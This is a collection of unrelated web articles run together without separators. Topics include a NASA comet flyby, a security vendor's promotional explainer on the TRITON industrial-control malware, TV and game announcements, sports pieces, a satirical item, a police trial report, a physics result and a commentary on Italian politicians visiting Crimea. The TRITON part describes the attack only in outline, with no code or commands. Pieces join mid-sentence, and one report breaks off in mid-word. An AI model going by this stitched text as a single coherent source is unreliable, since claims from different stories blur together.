“There is always some gravity boost at a flyby and in some cases, like this one, it is the main reason for a flyby. The last Earth flyby was used primarily to change the tilt of the spacecraft’s orbit to match that of comet Hartley 2, and we are using Sunday’s flyby to also change the shape of the orbit to get us to the comet,” said A’Hearn.
The Deep Impact mission smashed a companion probe into comet Tempel 1 on July 4, 2005 to reveal the inner material of a comet.
“Earth is a great place to pick up orbital velocity,” said Tim Larson, the EPOXI project manager from NASA’s Jet Propulsion Laboratory in Pasadena, Calif. “This flyby will give our spacecraft a 1.5-kilometer-per-second [3,470 mph] boost, setting us up to get up close and personal with comet Hartley 2.”
During a previous flyby of Earth, the mission team has used the spacecraft’s instruments to find evidence of water on the Moon and to study light reflected from Earth as a template that scientists eventually may be able be use to identify Earth-like planets around other stars.
Source: University of MarylandTRITON Malware: a new attack framework targeting control systems in critical infrastructure
In the latest reported attack against an energy plant, hackers have infiltrated critical safety systems for industrial control units by deploying a malware designed to manipulate safety instrumented systems (SIS) through TRITON malware – a malicious software targeted at Industrial Control System (ICS) causing operational disruption to the facility.
According to FireEye and Dragos who conducted an investigation of the event, the attackers tried to take remote control of a safety control workstation; some controllers entered a fail-safe mode as the hackers attempted to reprogram them causing related processes to shut down and allowing the plant to spot the attack. It appears that the hackers were probably attempting to learn how they could modify safety systems as preparation for launching future attacks.
Cyber experts mark this sophisticated attack as the first reported breach of a safety system at an industrial plant and call it ‘watershed line’ as additional hackers will catch up and try to execute in the future similar attack methods.
Based on the analysis done by FireEye and Dragos, the clear indication is that the TRITON attack was comprised of two files:
Trilog.exe – masquerade as the legitimate Triconex Trilog application – the main executable leveraging libraries zip. library.zip – contained Triconex attack framework and payloads.
Running Trilog.exe file depends on library.zip for execution: once invoked Trilog.exe depends on libraries and binaries contained in library.zip to connect to and reprogram the devices.
How will the ODIX system eliminate this attack?
By setting a policy that does not allow PYC or BIN files to enter the network, ODIX sanitization process would have recursively inspected the file and drop the unauthorized content within the zip file causing the main process to be rendered useless. Thus, if the SIS environment was properly isolated and all files introduced to it would have been sanitized with an effective policy, the attack would have been prevented.
ODI’s files Odixing process, based on its advanced CDR (Content Disarm and Reconstruction) technology, enables a secure network and to stay ahead of such threats without compromising on system performance and productivity.
ODIX engine checks every single file entering the network, ensuring all files are malware-free and safe to use.
The innovation of ODI’s unique process and its proactive & preventive nature provides the most effective way to block today’s unknown cyberattacks.
Learn more about the 4 defense lines of the ODIX process – here <–AMC has greenlighted The Terror, an anthology drama series based on the 2007 bestselling novel by Dan Simmons. Scott Free, Alexandra Milchan’s Emjag Productions, Entertainment 360 and AMC Studios are producing the 10-episode straight-to-series drama for a 2017 premiere.
Written by feature writer David Kajganich (True Story), the series is set in 1847, when a Royal Naval expedition crew searching for the Northwest Passage is attacked by a mysterious predator that stalks the ships and their crews in a suspenseful and desperate game of survival. It is a fictionalized account of Captain Sir John Franklin’s lost expedition of HMS Erebus and HMS Terror. Soo Hugh (The Whispers) has joined the series as co-showrunner alongside Kajganich.
“Dan’s novel is that rare combination of fascinating actual history, ground-breaking genre storytelling, and the complex character work of literature,” Kajganich said. Added Hugh, “As a long-time fan of Dan Simmons, the opportunity to join this project is a dream come true.”
Executive producers for the series are Ridley Scott and David W. Zucker of Scott Free, Alexandra Milchan (The Wolf of Wall Street) and Scott Lambert (Paranoia), principals at Emjag Productions, and Guymon Casady (Game of Thrones) of Entertainment 360, the content arm of Management 360.
“We’ve been focused on developing this incredible story for television with these great partners for a couple of years, and we think it provides rich d ramatic material but also an opportunity to explore the anthology format, which is something we’re extremely interested in and offers some unique possibilities,” said Joel Stillerman, president of original programming and development for AMC and SundanceTV. “Originality is still something that gets our attention every day, and the very unique mixing of historical non-fiction with a gripping and imaginative science fiction overlay in Dan’s novel is something that we hadn’t seen before. That, combined with an exceptional team behind the project, made this something we really wanted to bring to air on AMC.”
The Terror has been in the works for 3 years at AMC where Scott Free had a first-look deal. Under that pact, the company is producing drama Marvel (working title), inspired by the story of Jet Propulsion Laboratory co-founder Jack Parsons, which recently set up a writers room in anticipation of a potential straight-to-series order at AMC.
Scott Free’s series portfolio also includes CBS’ The Good Wife and the upcoming BrainDead, PBS’ Mercy Street, Amazon’s The Man In The High Castle and FX’s Taboo.
The Terror marks the latest genre-flavored series entry on AMC, which is riding high on the success of The Walking Dead horror franchise. The network also has The Preacher comic book adaptation coming up.Interdimensional Games' Consortium: The Tower Prophecy will fully expand on the original, according to Gregory & Steve MacMartin.
The original Consortium was a small-scale RPG with all kinds of big ideas. Set within the confines of a small, futuristic aircraft, it still offered the open-ended gameplay of titles like Deus Ex alongside clever metagaming twists comparable to The Stanley Parable. But it's also the first game in a planned trilogy, which means Interdimensional Games wants to aim even higher for its sequels. While still in its early stages, Consortium: The Tower Prophecy hopes to expand on the original's mechanics and world, while still offering unique experiences for every player.
Consortium is set in a possible future timeline where humanity has achieved almost all of its goals along a path to world peace. The player controls Bishop Six, a Consortium operative helping maintain order against the few legitimate threats to order and stability. But the twist is you're still not Bishop Six - you are yourself, inserted into Consortium's universe from the real world through your computer interface. What's more, the Consortium's enemies know it, and are fighting to stop whatever future this intruder is creating. That made Consortium a far more self-aware experience than most RPGs, which lead designer Gregory MacMartin and his scriptwriting brother Steve MacMartin hope to build on in The Tower Prophecy.
"From a pure story point of view, Consortium is about the possibilities of traveling to a future, alternate version of Earth and taking full control over another human being against his will," Steve told The Escapist. "Moral implications aside, the person being controlled, Bishop Six, it seems is smack in the middle of a global conspiracy where multiple factions strive for his attention. With complete agency, it's up to our world to determine which faction we can trust and choose to follow."
Consortium: The Tower Prophecy picks up precisely where the first game left off - with Bishop Six skydiving into a hostage situation at Churchill Tower. "It's a truly massive futuristic skyscraper, almost a kilometer tall, and at its base it literally spans the width of the River Thames in London, England," Greg said. "We are leveraging all of the game mechanics, gear and characters that we invented with the first game and making use of them in a space that's a couple orders of magnitude larger than ZENLIL's interior."
That means all of Consortium's gameplay - including forging positive and negative relationships with NPCs and finding multiple solutions to obstacles - will make their way into the new game. At the same time, The Tower Prophecy will be expanding certain mechanics to fit the larger setting, while implementing new gameplay elements altogether. "Exploring will play a much larger role in this game, as players will have the chance to explore the Churchill Tower in a non-linear fashion," Greg confirmed, "making great use of the abilities that Consortium Bishop gear allows for such as super jumping, gliding and landing safely from great heights."
One important element iDGi will expand is Consortium's combat system, which was incredibly complex considering the small of number of fights you could actually engage in. Not only will players have far more combat opportunities, iDGi will implement new crafting mechanics that let you customize gear in the field, unlocking a wide array of combat approaches. "This will easily be the largest difference between the first and second games," Greg said. "We're envisioning a multitude of possible combat scenarios that could unfold based on where players go and what they do. The A.I we developed for Consortium that allows for combatants to flee, surrender and take cover will be further refined and also allowed to fully shine in much larger and more complex environments. All of this combat, and how the player resolves it, will directly impact the story itself."
That's not to say players have to rely on combat alone. The upgrade system above includes stealth upgrades for sneaking past enemies, or you use diplomacy to avoid combat entirely. "Players who never even so much as pulled out their weapon in Game One will still be able to interact their way through this game's story without resorting to violence, it will only be more challenging to do so," Greg explained. "Diplomacy, tact, clever exploration and stealth will play a very key role for those players who prefer to find ways other than blasting through every situation."
Speaking of Game One, The Tower Prophecy will allow players to import their Consortium save files when starting the game. This allows The Tower Prophecy to carry over in-game decisions and any relationships Bishop Six nurtured into the sequel. Even though Knight 15 and the Rooks are still on the Zenlil aircraft, you'll be in contact with them through the Consortium Mind Communicator, picking up connections right where they left off. What's more, players can build alliances with all-new characters, including enemies of the Consortium if they choose. "The Tower Prophecy will introduce at least a dozen new characters of varying importance," Greg told us. "In particular players will have a chance to explore relationships with people outside of the Consortium, including getting involved with those vehemently opposed to the Consortium and what it stands for."
That's promising for fans of Consortium, but iDGi hasn't forgotten about newcomers either. The Tower Prophecy is planned as a standalone experience where new players can fully grasp what's happening. What exactly that entails isn't clear (especially since Consortium ended in a cliffhanger), but Greg assured us that plans are in motion. "We're developing a number of really cool ways to introduce the game-world and story to brand new players that never played the first one," Greg said. "The Tower Prophecy game will welcome new players with open arms, as it's very important to us that players not have to play the first game to be thoroughly immersed in this one. Of course, those players that do continue their saved universe from Consortium will not be disappointed."
If you're a Consortium fan, odds are all of this news should be very exciting. Sadly, there's no release date to look forward to just yet, but iDGi is considering a follow-up crowdfunding campaign this year. At that point, we'll have a better idea of when The Tower Prophecy will be released and what its gameplay will look like.Over at the Compubench and GFXBench databases some new entries appeared for what likely is the name of Radeon Vega 10, a mobile graphics codename. Two units appeared in the database one with 8 and the other with 11 Compute Units.
Multiply the numbers by 64 and that is 512 and 704 Shader processors. The Ryzen 7 2700U is listed as integrated graphics solution code-named Radeon Vega 10 Mobile. And the Ryzen 5 2500U is listed as Vega 8 Mobile based upon the OpenCL listing:
RADEON VEGA 8 MOBILE — CL_DEVICE_MAX_COMPUTE_UNITS: 11
— CL_DEVICE_MAX_COMPUTE_UNITS: RADEON VEGA 10 MOBILE — CL_DEVICE_MAX_COMPUTE_UNITS: 8
It is expected that late this year AMD will launch Ryzen for Mobile. It is expected that the APUs will have up to four cores and eight threads, earlier pre-production samples already have been running at 3.0 to 3.3 GHz.Ethan Couch (WFAA-TV)
Texas teenager and his mother won a delay on Wednesday to their extradition from Mexico after fleeing there as U.S. authorities investigated a possible violation of a probation deal that has kept the youth out of prison over a fatal drunken-driving crash.
Ethan Couch, who is from a wealthy family, became known in the United States as the “affluenza” teen during his trial over the 2013 crash that killed four people.
Couch, 18, and his mother, 48-year-old Tonya Couch, were captured in the Mexican Pacific Coast city of Puerto Vallarta on Monday and had been due to be flown back to Houston on Wednesday, accompanied by U.S. Marshals.
But the two filed an injunction to delay their extradition from Mexico and would not be leaving on Wednesday, said Ricardo Vera, a Mexican migration official in the state of Jalisco.
A judge in Mexico would have up to 72 hours to consider the injunction, and the pair could still be deported within two weeks depending on developments, Vera said.
A U.S. Marshals Service spokeswoman said the Couches could not be deported until legal matters were resolved.
“We simply do not know when the Ethan and Tonya Couch will be returned to the U.S.,” said Laura Vega, a spokeswoman with the service in Dallas.
During Ethan Couch’s trial in juvenile court, a psychologist testifying on his behalf said the teenager was afflicted with “affluenza,” a condition where he was so spoiled by his wealth that he could not tell the difference between right and wrong.
The diagnosis is not recognized by the American Psych |
kin and Bill Glauber contributed to this report from Milwaukee and Jason Stein contributed to it from Madison.
Proposal highlights:
■ The state would spend $4 million a year for 20 years — $80 million in all — to cover $55 million in bonding.
■ The state would also absorb $20 million in debt from the Bradley Center.
■ The state would be responsible for collecting another $80 million in debt for Milwaukee County, using that money to help pay for the arena.
■ The Wisconsin Center District would use hotel, car rental and food and beverage taxes to pay off another $93 million in bonds.
■ The city of Milwaukee would build a $35 million parking structure and provide $12 million in tax incremental financing.
■ Another $250 million for the project would come from the private sector — $150 million from the Bucks owners and $100 million from former U.S. Sen. Herb Kohl, who previously owned the Bucks.Tip-Off: 8 PM CST
Location: Pepsi Center (Denver, Colorado)
Television: FSOK
Radio: The Sports Animal
Twitter: Follow @TheThunderGuys for live-tweets during the game
Player to Watch
SF Wilson Chandler is an explosive player coming off the bench as he averages 16.7 points and 7.5 rebounds in 29.7 minutes per game. Chandler is a capable shooter from anywhere on the court, and with his size, he has the ability to impose himself on defenders as he sees fit. Because Chandler comes off the bench, the second unit for the Thunder needs to be weary of his ability to take over a game.
Keys to the Game
Strong Second Unit : Denver has six players that average double figures in points and three more that average at least 8.7 points a game. Oklahoma City’s second unit cannot afford to have a defensive letdown when they first come in late in the first quarter. The defense needs to be on the lookout as a number of different players for the Nuggets are capable of having a breakout game.
: Denver has six players that average double figures in points and three more that average at least 8.7 points a game. Oklahoma City’s second unit cannot afford to have a defensive letdown when they first come in late in the first quarter. The defense needs to be on the lookout as a number of different players for the Nuggets are capable of having a breakout game. Control the Glass : The Nuggets rank first in the league in total rebounds, something the Thunder excels at, so Oklahoma City has to stay in control of the glass. Denver is traditionally a tough place to play, likely due to the difference in altitude, but that cannot stop the Thunder from grabbing every rebound possible and proving themselves to be the more physical team.
: The Nuggets rank first in the league in total rebounds, something the Thunder excels at, so Oklahoma City has to stay in control of the glass. Denver is traditionally a tough place to play, likely due to the difference in altitude, but that cannot stop the Thunder from grabbing every rebound possible and proving themselves to be the more physical team. Take 3-Point Shots…When Necessary: The Denver Nuggets are one of the worst three-point defending teams in the league, and though the Thunder are not that great from behind the arc, they are capable of getting hot when taking efficient shots. Oklahoma City needs to look for opportunities to get shooters open, and if they can, knock shots down.
Article written by Zack Low. Follow @TheThunderGuys on Twitter and Instagram.
AdvertisementsNEW YORK—While lying dormant in their 12-foot-deep, climate-controlled pit earlier this morning, the nine Komodo dragons recently purchased by local billionaire Kyle Edmunds were stunned to discover that the obscenely wealthy magnate who owns them is just 26 years old. “I guess I always assumed we were the novelty pets of some old, eccentric oil tycoon type, but apparently, this Kyle kid was born in fucking 1987,” said one member of the surprised pack of Indonesian monitor lizards, adding that he couldn’t believe they were the fanciful, spectacularly expensive whim of “some twerp in his mid-20s.” “He and his dork friends made some sort of app in college, I guess, and now he has a giant pit filled with Komodo dragons in his mansion. I mean, I thought we belonged to, like, Warren Buffet, or at least some crazed South American drug lord. But this kid?” At press time, the Komodo dragons were reportedly devouring the large carcass of a young water buffalo while shaking their heads and muttering, “The guy’s name is Kyle, for Christ’s sake.”
AdvertisementBrett Hundley was drafted by the Packers in the fifth round last year out of UCLA. Credit: Mark Hoffman
By of the
Green Bay — When quarterback Brett Hundley walked through the door for his first day of work with the Green Bay Packers, he didn't need to refine any of the skills he developed at UCLA.
Rather he needed to forget them.
The amount of pro-style offense Hundley learned running the Bruins' spread offense was equal to the number of teams who selected him in the first four rounds of the 2015 NFL draft.
"When I got here it was a whole new thing," Hundley said. "Nothing translated. Really nothing."
It's not hard to imagine then how excited the Packers were when Hundley posted a 129.6 passer rating during his first exhibition season, completing 45 of 65 passes (69.2%) for 630 yards and seven touchdowns with one interception. He averaged a whopping 9.69 yards per attempt.
In the weeks after, Hundley did not suit up for a game again. He was inactive all 18 games, the third wheel behind Aaron Rodgers and Scott Tolzien.
But the season was far from a waste for the 6-foot-3, 226-pound Hundley, and the coming months provide an opportunity to develop even further in his quest to be an NFL starter. The players won't return to the team's facility until mid-April, but Hundley will spend time throwing and working out on his own until the off-season conditioning program begins.
An advantage Hundley will have that he didn't have last year is that he will participate in the entire off-season program, including coach Mike McCarthy's quarterback school.
When Hundley does return, it likely will be as Rodgers' backup. Tolzien is an unrestricted free agent and probably will be looking for a place where he can play. But more important, Hundley's talents can't be wasted as a No. 3. Not only could he become a backup capable of winning games, but he might eventually yield the Packers a high draft pick in a trade.
The main area Hundley must continue to improve on in order to master the offense is footwork. The Packers are sticklers for tying specific footwork to different routes and coverages, and it can be a whole new world for a rookie coming from a spread offense.
"I think the feet is probably the biggest thing, have everything time up with your feet in the passing game," quarterbacks coach Alex Van Pelt said. "Just becoming comfortable with the footwork with each route and the nuances if it's an adjusted route, if it's pressed or you can take a little longer and hold on the back foot.
"Just those little intricacies of each play with the footwork."
In November, Hundley was doing the footwork drills the quarterbacks do every day before the full practice begins, and Van Pelt approached Hundley and told him if he wanted to see how far he had come, he should look at himself doing the same drill three months earlier.
So Hundley decided to do that. He popped on some video from training camp and compared it to the day's practice tape.
"From where I was in preseason? Huge jump," Hundley said. "Huge jump. Just footwork, rhythm, those are the main two. Those are the big things that jump off the screen quick."
Said Van Pelt: "It's like night and day, a whole different guy. There's a little satisfaction that the drills you're doing are helping these guys improve."
To understand how far Hundley has come, you have to grasp where he started. It wasn't that he had to adjust some of the things he had been doing in order to play in a pro offense. He had to be taught pro-style quarterbacking for the first time.
The only NFL offense he was prepared to play in was Chip Kelly's in Philadelphia.
"Our offense we ran in college, nobody runs it in the NFL," Hundley said. "On this level, in this offense, it's all different, too. Everything is different. You know, I'm in shotgun, lots of quick stuff (at UCLA). Here it's all different.
"I knew I would learn it, I just had to be taught it. That's what I always stressed; if I don't know something I've just got to learn it. I know I can learn fast. It's just you don't know what you don't know. So I knew that's what I was going in with. I just hadn't learned what I needed to do here."
With that in mind, it's remarkable what Hundley accomplished in one training camp. He was sacked on his first drop-back in the exhibition opener against New England, but he never looked nervous in the pocket and made most of the throws that are necessary to run McCarthy's offense through the four games.
He started the third exhibition game against the Eagles and completed 22 of 31 passes for 315 yards and two touchdowns with one interception.
Hundley had been talked about as a potential first-round pick before the draft, so falling all the way to the fifth round was a huge disappointment. He started for three years and was the face of the Bruins program.
He led the team to consecutive 10-victory seasons and set school records with 75 touchdowns and 837 completions.
The Packers moved up 19 spots in the fifth round in a trade with New England and selected Hundley with the 147th pick. Hundley had visited eight teams before the draft, a number of whom needed quarterback help, but none of them thought Hundley was worth their selection before the Packers took him.
One of the things the Packers liked about Hundley was his intelligence, and they could tell he had the capacity to handle their offense. Director of player personnel Eliot Wolf called Hundley "a football nerd" after the Packers drafted him.
After training camp ended, Hundley's game days came in practice. He and Tolzien ran the scout team, which emulates that week's opposing offense to help the defense prepare. Hundley got to pretend he was Russell Wilson, Peyton Manning and Philip Rivers among others.
"That's my game," Hundley said. "When I step out on the field for scout team, that is my game time. I didn't get to play on Sunday, but during the week I play. Period. That's when I take it serious.
"When I miss a pass on scout team, I'm a little heated. I won't like it. I like to score."
Hundley, 22, has the same kind of athleticism that Rodgers has and showed in college and last summer that he can scramble. His arm strength is good, but one emphasis for him this off-season and off-seasons to come will be building up his body.
Rodgers went through the same thing while he was backing up Brett Favre. Over those three years and even beyond, Rodgers worked on his body and was able to get the most out of his exceptional athleticism.
Rodgers and Hundley are comparable athletes. Rodgers was measured at 6-2, 223 pounds at the combine, an inch and a quarter shorter and three pounds lighter than Hundley.
Rodgers ran the 40-yard dash in 4.73 seconds, clocked 7.38 seconds in the three-cone drill, registered a 34½-inch vertical jump and measured 9 feet 2 inches in the broad jump. Hundley ran the 40 in 4.63, clocked 6.93 in the three-cone, had a 36-inch vertical jump and measured 10 feet in the broad jump.
Hundley doesn't have a weak arm by any means, but Van Pelt said it could get better.
"Sure," he said. "He's a young kid. He really hasn't been in the weight room a lot. I would assume he'd improve. I know Scott's has. As you develop and mature with your body your arm is only going to get stronger."
There will be a lot of eyes on Hundley this summer, both inside and outside the organization. He will have to prove his first training camp wasn't a fluke and that he can compete with much greater expectations.
General manager Ted Thompson could get a maximum of three more years of Hundley before he became an unrestricted free agent. In order to get something of value for him, however, he probably would have to trade him after his second or third season.
There's a history of young quarterbacks being traded for valuable draft picks, including three during the Ron Wolf era.
In April 1995, Wolf traded Mark Brunell to Jacksonville for third- and fifth-round picks. In July 2000, he traded Aaron Brooks to New Orleans in a deal that netted the Packers a third-round pick and also featured a swap of two marginal players. In March 2001, he sent Matt Hasselbeck to Seattle in a deal that allowed the Packers to swap first-round picks and move from 17th to 10th and also gain a third-round pick.
Brunell and Hasselbeck were on the Packers' 53-man roster for just two years before being traded; Brooks was on for just one year.
Assuming Rodgers stays healthy and effective for the next two or three years, the Packers may be grooming Hundley for some other team. In a league where mobile throwing quarterbacks are valued greatly, Hundley could be a hot commodity as soon as this season.
For now, he's a prospect whose future rests on how much he learned during his rookie season. Hundley got a chance to watch Rodgers' every move and he's pretty sure he'll come back a better player in April.
"If I get my chance whenever that may come, next off-season and the preseason, I'll have all those reps under me mentally," Hundley said of watching Rodgers. "I think that's been my biggest emphasis when I go to practice. I'm learning, so that's how I take it."In a trial that focuses on the New York City Police Department's controversial practice of promoting "stop and frisk" — approaching and shaking down people, without specific cause, who officers think might be up to no good — police department officials have come up with a novel explanation: officers are leaned on to "produce" because they're too damned lazy to do their jobs otherwise. Without necessarily conceding that "performance goals" are the same as quotas, the brass insists that they have to set minimum standards to get cops out of their cars and... err... interacting with the public or they'd doze and eat doughnuts all day.
From the New York Times:
The picture painted in court of the New York Police Department’s officers was not pretty. Ten percent of them were malcontents who worked as little as possible. Unless they are being paid overtime, officers seem to avoid writing summonses. Indeed, some police officers need to be weaned of the idea that they are paid to drive around in their patrol cars, eating doughnuts. And those sentiments came not from critics of the department, but from police commanders and city lawyers. One of the surprising developments of the trial regarding the Police Department’s stop-and-frisk practices is how top police officials and city lawyers have been willing to criticize some of the department’s rank-and-file officers — all in an effort to counter testimony from whistle-blower officers who say that commanders had created quotas that pressured them to make street stops without the proper grounds. Some of the testimony heard over the first six weeks of the trial in Federal District Court in Manhattan has had more in keeping with labor arbitration than with a constitutional case, as the city has tried to play down secret station house recordings, partly by characterizing some police officers as lazy. “The sergeant is complaining that the cops on overtime didn’t want to get out of the car,” one deputy inspector, Steven Mauriello, testified after being played a secret station house recording of one of his sergeants exhorting his officers to work harder. “He doesn’t want them sitting in the car reading the newspaper.” The two whistle-blowing officers have offered testimony that is crucial to the plaintiffs’ claim that the department relies on a quota system to force officers to generate more “activity” — a category that includes arrests, tickets and street stops. According to the civil rights lawyers who brought the stop-and-frisk class action lawsuit, the number of street stops has soared over the last decade because police officers, under pressure to make the quota, have resorted to stopping people whom they have no reason to suspect of wrongdoing.
Are we entirely certain that a napping, doughnut-chomping police force is inevitable in the absence of quotas performance goals? Or that it would be worse than what New York City has now?
Follow this story and more at Reason 24/7.
Spice up your blog or Website with Reason 24/7 news and Reason articles. You can get the widgets here. If you have a story that would be of interest to Reason's readers please let us know by emailing the 24/7 crew at [email protected], or tweet us stories at @reason247.Lewis Hamilton has refuted Sebastian Vettel’s claims that Mercedes are the clear favourites heading into the new season, saying he believes Ferrari have much more pace in hand than they have so far shown in testing.
It's difficult right now to say exactly who is quicker. But they are very close, if not faster...
Vettel topped the timesheet for the Scuderia at Barcelona on Thursday, setting a new pre-season benchmark in the process. However, the German’s speed through the final sector on his fastest lap led some to suggest Ferrari might be masking their true pace - an allegation Vettel was quick to refute, but Hamilton believes might have merit.
“I think Ferrari are bluffing and that they are a lot quicker than they are showing,” Hamilton said.
“They're very close to us. It's difficult right now to say exactly who is quicker. But they are very close, if not faster.
“Whatever the case, I can't wait to go out and compete. Just a couple more weeks to go...”
Hamilton’s team mate Valtteri Bottas said he too isn't certain that Mercedes will start the season at the head of the field.
“We are definitely not confident we are in front,” the Finn told reporters in Barcelona. “We are not relaxing or in a comfortable situation at all. We do feel the other teams have made good progress over the winter.
“I think Ferrari are looking very strong, Red Bull can always surprise, even some other teams can be close. But definitely some other teams like Ferrari are looking solid and strong and fast, and who knows what people are bringing to Melbourne.
“We are aware that we should not underestimate them and we’re not at this point saying ‘we’re the number one’ - we’re just working flat out.”
Mercedes continue to lead the mileage charts in testing, with Hamilton and Bottas combining for another 147 laps on Thursday. But while the world champions have brought multiple updates to the W08 throughout testing, Bottas admitted that not all had worked as expected.
“We have had so many different upgrades and maybe some of them haven’t been perfect,” he said.
“Some have over-performed, some have maybe under-performed and been affecting the car balance, things like that.
“Once you put new things onto the car, it’s not like it’s suddenly better. There are some things that we definitely need to unlock. I’m confident we’ll find the most out of the package and it will be as good as planned.
“It needs hard work and it has been very nice to see how the team has been reacting to different things. If we find something is not working the way it should, everyone is working flat out in Brackley and here [in Barcelona] sorting things out.
“So I’m sure we can get the most out of all the stuff we are bringing to the car in Melbourne.”
Bottas and Hamilton will share the final day of running in Barcelona on Friday. Kimi Raikkonen will be at the wheel for Ferrari.Steve Walsh can’t wait to get started as Everton’s Director of Football after declaring that recruitment is his first priority.
Walsh was appointed on Thursday, joining from Leicester City where his record in the transfer market had gained unequivocal praise.
He will now set about providing Blues boss Ronald Koeman with the players he requires to boost the Everton squad.
Walsh told evertontv: “It is a massive, massive football Club. I think it has an excellent infrastructure and looking at the building work that is going on at the moment and the work on the pitches, it looks like a brand new era. Hopefully we will be able to make the team so that we can achieve.
“My title is Director of Football, my expertise is that of recruitment and that is the first point of call as far as that’s concerned.”
Having also worked with Chelsea and Newcastle, Walsh was Assistant Manager and Head of Recruitment at the King Power Stadium.
Credited with bringing Leicester’s key title-winning performers - the likes of Riyad Mahrez, N’Golo Kante and Jamie Vardy - to the East Midlands, Walsh admits it had to be a special sort of opportunity to prise him away.
And that is what he believes Everton represent; with Koeman spearheading an exciting new Blues era.
“Ronald was a legend as a player and has a very good reputation as being one of the leading coaches in Europe,” Walsh continued. “He has worked at a multitude of excellent clubs and he has obviously seen the project and the challenge of Everton Football Club and decided he wants to put his name to it. It was a really big pull for me to come, no doubt about it.
“It had to be a massive opportunity and I think that is the case here. It is primed and ready to go and hopefully we will be able to achieve the success we had at Leicester.
“The expectation (of replicating the success at Leicester) doesn’t weigh on my shoulders, not really. It took a long time to put the team together at Leicester, it wasn’t done overnight.
“I was at Leicester on and off for eight years so it was putting those foundations down and making sure you are bringing the right age and the right attitude of player to buy into what the manager wants to do.
“Mr Koeman certainly knows what he wants and I am going to try and fulfil that with the players that he desires in the positions he wants.”Join us for a development sprint
I'll pass the microphone over to Jeremy Dunck, our volunteer Sprint organizer:
There will be a Django Development sprint in Uptown Dallas next weekend (Dec 12 and 13). A development sprint is an excuse to get together, write some code, and have a good time doing it. The purpose of this sprint will be to help finish features and push out bug fixes in preparation for the Django 1.2 release, which feature freezes January 26. If you're interested in coming to work on other open source Django-based projects, that's welcome too.
We'll be meeting at CoHabitat (2517 Thomas Avenue, Dallas, TX 75201) and I'll be there to open the doors at 9am both days. RSVP via Eventbrite if you're interested.
There will be another gathering in the Triangle, NC area, meeting at Carrboro Creative Coworking, (205 Lloyd St, Carrboro, NC 27510).
For more information, please check out the wiki pages (Dallas, Triangle, NC).
We're looking for sponsors (lunch, coffee, beer, firewood, etc.), so out the sponsors section of the wiki and add yourself (or your company) if you'd like to bring something.
If you can't make it to Dallas or Norh Carolina in person, join us in the #django-sprint IRC channel and help out that way.
Hope to see you there!Positronium is a short-lived system in which an electron and its anti-particle are bound together. In 2007, physicists at the University of California, Riverside created molecular positronium, a brand-new substance, in the laboratory. Now they have succeeded in isolating for the first time a sample of spin polarized positronium atoms.
Study results appear in the journal Physical Review Letters.
Spin is a fundamental and intrinsic property of an electron, and refers to the electron's angular momentum. Spin polarized atoms are atoms that are all in the same spin state. A collection of spin polarized positronium atoms is needed to make a special form of matter, called the Bose-Einstein condensate (BEC). The BEC, predicted in 1924 and created in 1995, allows scientists to study atoms in a unique manner.
"We achieved our result by increasing the density of the positronium atoms in our lab experiment," said David Cassidy, the lead author of the research paper and an assistant researcher working in the laboratory of Allen Mills, a professor of physics. "At such a high density, positronium atoms get annihilated simply by interacting with each other. But it turns out that not all the positronium atoms get annihilated under these conditions."
Cassidy explained that positronium atoms come in two types -- say, an up type and a down type. The positronium atoms are only annihilated when an up type meets a down type. Two atoms of the same type do not affect each other.
"So if you have 50 percent ups and 50 percent downs and you squeeze them all together they will totally annihilate and turn into gamma rays," he said. "But if you have, for example, about 66 percent ups and 33 percent downs, then only half of the ups will be destroyed. You will get a load of gamma rays -- but in the end you will be left with only one type of atom -- in this case, up atoms.
"This is an important development for making the BEC," Cassidy said, "because you have effectively purified your sample of positronium. And you need a pure collection of spin aligned atoms to make the BEC."
When atoms are in the BEC state, they are essentially stopped (or they move extremely slowly), facilitating their study. Non-BEC atoms on the other hand whiz around at very high speeds, making them harder to study.
"There are fundamental processes that can be looked at in new ways when you have matter in the BEC state," Mills said. "Having Bose-condensed atoms makes it easier to probe the way they interact under certain conditions. Moreover, to have motionless positronium atoms is an important aspect for making something called a gamma ray laser, which could have military and numerous scientific applications."
According to Mills and Cassidy, the new research could lead also to the production of fusion power, which is power generated by nuclear fusion reactions.
"The eventual production of a positronium condensate could help us understand why the universe is made of matter and not antimatter or just pure energy," Cassidy said. "It could also one day help us measure the gravitational interaction of antimatter with matter. At present, nobody knows for sure if antimatter falls up or down."
The National Science Foundation and the U.S. Air Force supported the research.
Cassidy and Mills were joined in the study by Vincent Meligne, a graduate student in Mills's lab.Photo: RIA Novosti (around the monument to the Russian soldiers without insignia who seized government buildings on Feb 27, 2014)
The 3-day visit to Russian-occupied Crimea by a new ‘delegation’, this time from Italy, is so similar to others that it is tempting to ignore it. Almost all of the politicians appear to be linked with the far-right Lega Nord [Northern League] party which can be relied on to not see (or even deny) grave rights abuses since Russia’s invasion and call for an end to sanctions.
There are two interrelated reasons for not ignoring them. Such visits serve propaganda purposes, and the Russian state-controlled media goes all out to inflate their importance, as part of ongoing efforts to ‘prove’ that the international community has accepted Russia’s annexation of the peninsula. The other reason lies in the 5 supposedly “major businesspeople” who are reported to have come on the trip. If these really exist and are planning business deals, then they are in serious breach of international law and their identity should be made known, together with their illegal promises to flout sanctions.
Russia’s attempts to justify its invasion of Crimea and aggression in Eastern Ukraine because of so-called ‘fascists’ in Kyiv went hand in hand with its cultivation of close relations with far-right, sometimes neo-Nazi politicians in Europe. Members of Lega Nord have been used to try to give legitimacy to the Crimean land-grab since back in March 2014 when one of its members Claudio D’Amico joined a team of specially selected ‘observers’ for Russia’s illegal ‘referendum’ on annexation. All of them provided the glowing praise required of them.
In May this year, a major effort was undertaken to convince more than just a domestic Russian audience that ‘Venice’ or the ‘Venice Parliament’ had recognized Crimea as Russian. In fact, it was 27 deputies, including many from Lega Nord, from the Veneto region parliament who pushed through a non-binding resolution, calling for recognition and an end to sanctions.
The initiator of that ‘resolution’ was Stefano Valdegamberi from an organization linked with Lega Nord. He has been one of the most vocal members of the group visiting Crimea from Oct 14-16.
He claims that the visit “is one of the forms of protest by northern regions against the policy of the Renci government”, and asserts that their calls for the sanctions to be removed are not heard “due to the climate of Russophobia”
It was Valdegamberi who also proved most expansive on the subject of business links. He is reported by the Russian propaganda site Sputnik to have stated that:
"The business leaders and entrepreneurs who have arrived with our delegation do not always go public with this, but a good number of them are already operating in Crimea," Stefano Valdegamberi told reporters. Valdegamberi said Italian companies with a foothold in Russia were particularly interested in supplying Crimean wineries with wine-making equipment.
There are also plans to produce goods in Crimea, he added. "Italian businesses who are working in the Russian market are particularly interested in Crimea and have begun to invest in the region… they don’t just want to sell some stuff in Crimea but produce goods here," he said.
